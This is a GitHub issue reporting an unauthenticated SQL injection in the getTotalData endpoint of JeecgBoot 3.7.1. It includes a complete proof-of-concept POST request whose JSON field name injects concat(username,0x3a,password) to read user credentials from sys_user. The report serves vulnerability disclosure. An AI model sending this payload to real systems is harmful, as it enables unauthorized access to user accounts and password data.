Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

/drag/onlDragDatasetHead/getTotalData interface has an unauthorized SQL injection vulnerability. #7237

Open
broken5 opened this issue Sep 18, 2024 · 0 comments

Comments

@broken5
Copy link

broken5 commented Sep 18, 2024

版本号(Version):

v3.7.1

问题描述(Problem Description):

/drag/onlDragDatasetHead/getTotalData接口存在未授权SQL注入漏洞
The /drag/onlDragDatasetHead/getTotalData interface has an unauthorized SQL injection vulnerability.

ShiroConfig.java
QQ_1726666288755

Code: jimureport-dashboard-spring-boot-starter-1.8.1-beta.jar!/org/jeecg/modules/drag/b/f.class#c
image

错误截图(Error Screenshot):

POC

POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 284

{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(username,0x3a,password)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}

QQ_1726666463329

友情提示:

  • 未按格式要求发帖、描述过于简单的,会被直接删掉;
  • 描述问题请图文并茂,方便我们理解并快速定位问题;
  • 如果使用的不是master,请说明你使用的分支;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant